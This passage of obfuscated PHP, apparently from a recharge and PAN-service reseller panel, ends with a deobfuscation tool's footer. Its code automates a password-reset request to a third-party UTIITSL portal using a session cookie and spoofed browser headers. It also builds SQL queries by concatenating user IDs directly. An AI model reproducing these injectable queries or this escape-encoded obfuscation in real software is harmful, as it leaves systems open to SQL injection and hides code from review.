=> false)); $headers = array("\x41\x63\143\x65\160\164\x2d\114\x61\156\147\165\x61\x67\x65" => "\145\x6e\x2d\125\123\x2c\x65\x6e\x3b\161\75\60\56\x39", "\103\157\x6f\153\151\145" => "\112\x53\105\x53\x53\111\x4f\x4e\x49\104\75" . $jsession, "\x55\163\x65\162\55\x41\147\145\156\164" => "\115\x6f\172\151\x6c\x6c\141\x2f\x35\x2e\60\x20\50\x57\x69\x6e\144\157\x77\x73\x20\116\x54\40\x31\60\56\x30\73\x20\127\x69\x6e\66\x34\73\40\x78\x36\x34\x29\40\x41\x70\x70\154\x65\127\x65\x62\113\x69\x74\x2f\65\x33\67\56\63\66\40\50\x4b\110\x54\115\x4c\x2c\40\154\151\x6b\145\x20\x47\145\x63\x6b\157\x29\40\x43\x68\162\157\x6d\145\x2f\61\x31\x31\x2e\60\x2e\60\x2e\60\40\123\x61\146\141\x72\151\57\x35\x33\67\x2e\x33\x36", "\110\157\163\x74" => "\167\x77\x77\x2e\x70\163\x61\157\x6e\x6c\151\156\145\56\x75\164\x69\x69\164\x73\154\x2e\x63\x6f\155", "\117\x72\151\x67\151\x6e" => "\150\164\164\x70\163\72\x2f\x2f\x77\167\x77\x2e\160\x73\141\157\x6e\x6c\151\156\145\x2e\x75\164\x69\x69\x74\x73\x6c\x2e\x63\x6f\x6d", "\x52\x65\146\145\x72\x65\162" => "\150\164\164\x70\163\72\x2f\57\x77\167\x77\56\x70\163\x61\157\156\154\151\x6e\x65\56\x75\164\151\151\164\x73\x6c\56\143\x6f\x6d\x2f\160\163\x61\x70\x61\x6e\163\x65\162\166\x69\143\x65\x73\57\146\x6f\162\x6d\163\x2f\154\157\147\151\156\56\150\164\155\x6c\57\x72\145\x73\x65\164\125\x73\x65\x72\120\141\x73\x73\x77\157\162\x64", "\x43\x6f\156\164\x65\156\x74\55\124\x79\x70\x65" => "\141\160\160\x6c\151\143\141\x74\151\x6f\156\x2f\x78\x2d\167\x77\167\55\146\157\x72\155\x2d\165\162\154\145\x6e\x63\157\144\x65\x64"); $options = array("\x66\x6f\x72\155\x5f\160\x61\162\x61\155\x73" => array("\165\x73\145\x72\x49\144" => $sub_psa_id, "\x75\x73\145\x72\x50\141\x73\x73\167\157\x72\144" => $password, "\137\x63\163\162\146" => $csrf)); $request = new Request("\120\x4f\123\x54", "\x68\164\x74\x70\x73\72\x2f\x2f\167\x77\x77\56\x70\x73\x61\157\156\154\x69\x6e\145\x2e\x75\164\x69\151\164\x73\154\x2e\x63\157\155\57\x70\163\x61\x70\x61\156\163\145\162\166\151\x63\145\x73\x2f\x66\x6f\x72\x6d\x73\x2f\x6c\x6f\147\151\x6e\x2e\150\164\155\154\x2f\x72\x65\163\x65\x74\125\x73\x65\162\120\x61\163\x73\167\x6f\x72\144", $headers); $res = $client->sendAsync($request, $options)->wait(); $response = (string) $res->getBody(); $statusCode = $res->getStatusCode(); if ($statusCode == "\64\60\65") { return chk($data["\x70\x73\141\137\165\163\x65\162\156\x61\155\145"], $data["\x70\163\141\137\x70\141\163\163\x77\x6f\162\x64"], $data["\160\163\x61\x5f\x69\144"]); } else { if (strpos($response, "\145\162\x72\x6f\162\x4d\x65\163\147")) { $rpos = strpos($response, "\x65\162\x72\157\x72\115\145\163\x67"); $spos = strpos($response, "\x73\x75\143\143\x65\x73\x73\x4d\x65\163\147"); $errorMesg = substr($response, $rpos, 100); $successMesg = substr($response, $spos, 100); if (strpos($errorMesg, "\x45\x72\162\x6f\162\x20\x69\x6e\x20\165\x70\144\141\x74\151\157\156") > 0) { $result = array("\x73\x74\141\x74\x75\163" => "\146\x61\151\x6c\145\144", "\155\x65\x73\x73\141\147\145" => "\x53\145\162\166\x65\x72\x20\x44\157\x77\x6e\x20\x4f\162\40\x49\156\166\x61\154\151\x64\40\x50\x53\x41"); } else { if (strpos($successMesg, "\160\141\163\163\x77\x6f\162\x64\40\x72\145\x73\x65\x74\40\163\165\x63\x63\145\x73\x73\x66\x75\154\154\x79")) { $result = array("\163\164\x61\x74\x75\163" => "\x73\x75\x63\143\145\163\x73", "\x6d\145\x73\163\141\147\145" => "\x50\141\163\163\167\157\x72\144\x20\122\x65\x73\x65\164\x20\123\x75\143\143\145\163\x73\x66\x75\154\154\171"); } else { $result = array("\163\x74\x61\164\165\x73" => "\146\141\151\x6c\145\144", "\x6d\x65\x73\x73\141\x67\145" => "\x53\157\x6d\x65\164\x68\151\x6e\147\x20\x57\x65\x6e\164\x20\x57\x72\x6f\156\147\x20\120\x6c\x65\x61\163\x65\x20\x54\162\x79\40\x41\146\x74\x65\162\x20\x53\157\155\x65\x74\x69\x6d\x65"); } } } } return json_encode($result); } goto a_phr; XqJtM: function user_plan_data($user_id) { $result = rechpay_fetch(rechpay_query("\x53\105\x4c\x45\x43\x54\x20\x2a\40\x2c\40\165\x73\145\x72\x61\x63\x63\x6f\x75\156\164\56\163\x74\x61\164\x75\x73\x20\x61\x73\x20\x75\x73\145\x72\x5f\x73\164\141\164\165\x73\54\x20\x75\163\145\162\141\143\x63\x6f\x75\x6e\164\x2e\x69\163\x5f\145\x78\x70\151\x72\x65\x20\141\163\12\165\163\145\x72\x5f\x69\x73\x5f\x65\x78\x70\x69\x72\x65\x2c\40\160\x6c\141\x6e\x73\x2e\163\164\x61\164\x75\x73\40\x61\163\x20\x70\154\x61\156\x73\137\x73\164\141\164\x75\x73\x20\x46\x52\x4f\115\40\165\163\145\x72\141\143\143\157\x75\x6e\164\54\40\160\154\141\156\x73\40\127\110\105\122\x45\40\x75\x73\145\162\141\x63\143\x6f\x75\156\x74\x2e\x70\x6c\x61\x6e\x5f\151\144\x20\x3d\40\160\x6c\141\156\163\56\x70\x6c\141\156\137\151\144\40\x61\x6e\x64\xa\165\x73\145\162\x61\143\x63\157\165\x6e\164\x2e\x75\x73\145\x72\137\x69\x64\75\47" . $user_id . "\x27\40")); if (count($result) > 0) { $expire = $result["\x65\170\x70\x69\x72\x65\x5f\x64\141\164\145"]; $start = time(); $end = strtotime($expire); $result["\145\170\x70\151\x72\x65\137\144\x61\x79\x73"] = ceil(abs($end - $start) / 86400); $expire_time = strtotime("\x2b\x31\40\144\x61\171\x73", strtotime($expire)); if ($result["\x70\154\x61\156\x5f\164\x79\160\x65"] == "\x31\40\x59\x65\x61\162" && $expire_time < strtotime("\53\x31\x20\155\x6f\156\164\x68")) { $result["\151\163\x5f\145\x78\x70\x69\162\145"] = "\101\x6c\x65\x72\164"; } if ($result["\160\154\141\x6e\137\x74\171\x70\145"] == "\61\40\x4d\157\x6e\x74\150" && $expire_time < strtotime("\53\61\60\40\144\141\171\163")) { $result["\x69\x73\x5f\145\x78\160\151\162\x65"] = "\101\x6c\145\x72\164"; } if ($expire_time < time()) { $result["\151\163\137\x65\170\160\x69\x72\x65"] = "\131\x65\163"; $result["\145\170\x70\x69\162\145\x5f\x64\141\x79\163"] = 0; $result["\156\141\155\x65"] = "\120\154\x61\x6e\x20\x45\170\x70\151\162\x65\144"; $result["\154\x69\x6d\151\x74"] = "\x4e\x6f\40\x41\143\x74\151\x76\x65\40\120\154\x61\x6e"; } if (in_array($result["\151\x73\x5f\145\x78\160\x69\x72\145"], array("\101\x6c\x65\x72\x74", "\131\145\163"))) { rechpay_query("\125\x50\x44\x41\124\x45\xa\40\40\x20\x20\140\165\x73\145\x72\x61\x63\x63\157\165\156\x74\140\x20\x53\105\124\40\151\x73\x5f\145\x78\x70\151\162\145\75\x27" . $result["\40\151\163\x5f\x65\170\x70\151\x72\145"] . "\47\40\127\x48\x45\122\x45\x20\x75\163\x65\x72\137\x69\144\x3d\47" . $result["\x20\165\x73\145\162\137\151\x64"] . "\x27\40"); } } if (empty(count($result))) { $result["\156\x61\x6d\145"] = "\40\116\157\x20\x41\143\164\151\166\x65\x20\120\x6c\141\x6e"; $result["\154\x69\155\151\x74"] = "\x4e\x6f\40\x41\x63\x74\151\x76\x65\x20\x50\154\x61\156"; } return $result; } goto u1E_Y; NNuZZ: function all_plan_data() { return rechpay_fetch_all(rechpay_query("\123\x45\114\105\103\124\40\x2a\40\106\122\117\115\40\x60\x70\154\x61\x6e\163\x60\x20\127\110\x45\x52\105\40\163\x74\141\164\x75\x73\75\47\101\143\x74\x69\166\145\47\40\x4f\122\104\x45\122\40\102\x59\x20\140\x61\x6d\157\165\156\x74\x60\40\101\123\103\xa\x20\40\40\40\40\x20\40\40\40\x20\x20\x20")); } goto PxI73; Ji645: function monthly_transactions($userAccount) { $from_date = date("\131\55\x6d\55") . "\x30\x31"; $today = date("\x59\55\155\55\144"); $sql = "\123\x45\114\105\x43\x54\40\x2a\40\x46\122\x4f\115\x20\140\164\162\x61\156\x73\x61\143\164\151\157\156\x60\x20\127\110\105\x52\105\x20\x75\163\145\x72\137\x69\144\x3d\47" . $userAccount["\165\163\145\x72\x5f\151\x64"] . "\x27\40\141\x6e\144\x20\144\141\164\x65\137\164\x69\x6d\x65\76\75\x27" . $from_date . "\xa\40\40\40\x20\40\40\40\x20\x30\60\72\x30\60\72\x30\x30\x27\x20\141\156\x64\40\144\x61\164\x65\137\x74\x69\155\x65\x3c\x3d\47" . $today . "\40\x32\63\72\x35\x39\72\x35\71\47\40\117\x52\x44\x45\122\x20\102\131\40\x60\164\170\156\x5f\x69\144\x60\x20\104\105\x53\x43\40"; if ($userAccount["\x72\157\x6c\145"] == "\40\x41\x64\x6d\x69\x6e") { $sql = "\123\x45\x4c\x45\x43\x54\40\52\x20\106\x52\x4f\x4d\40\140\164\x72\141\156\163\x61\x63\x74\x69\x6f\156\140\40\x57\x48\105\x52\105\40\144\141\x74\145\x5f\x74\151\155\x65\76\75\47" . $from_date . "\x20\x30\x30\x3a\60\60\72\x30\60\47\40\141\x6e\144\xa\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x64\141\164\145\137\x74\x69\x6d\145\x3c\x3d\47" . $today . "\x20\62\63\x3a\65\x39\x3a\x35\x39\x27\40\117\122\104\105\x52\x20\x42\131\40\x60\164\x78\156\x5f\151\144\140\x20\104\105\x53\103\40"; } $result = rechpay_fetch_all(rechpay_query($sql)); $amount = 0; foreach ($result as $key => $value) { $amount += $value["\x61\x6d\157\165\x6e\164"]; } return array("\x20\x61\155\157\165\156\x74" => round($amount, 2), "\162\145\163\x75\154\164" => $result); } goto FHq_D; PxI73: function all_plans() { return rechpay_fetch_all(rechpay_query("\x53\105\114\105\x43\x54\x20\52\x20\106\x52\117\115\x20\140\x70\x6c\141\156\163\140\x20\x4f\122\x44\x45\x52\40\102\131\x20\x60\160\154\x61\x6e\137\x69\144\140\x20\104\x45\x53\x43\40")); } goto SWu6C; H19OK: ?>

Function Calls

None

Variables

None

Stats

MD5 ebb91ef282861d82989da28097230357
Eval Count 0
Decode Time 72 ms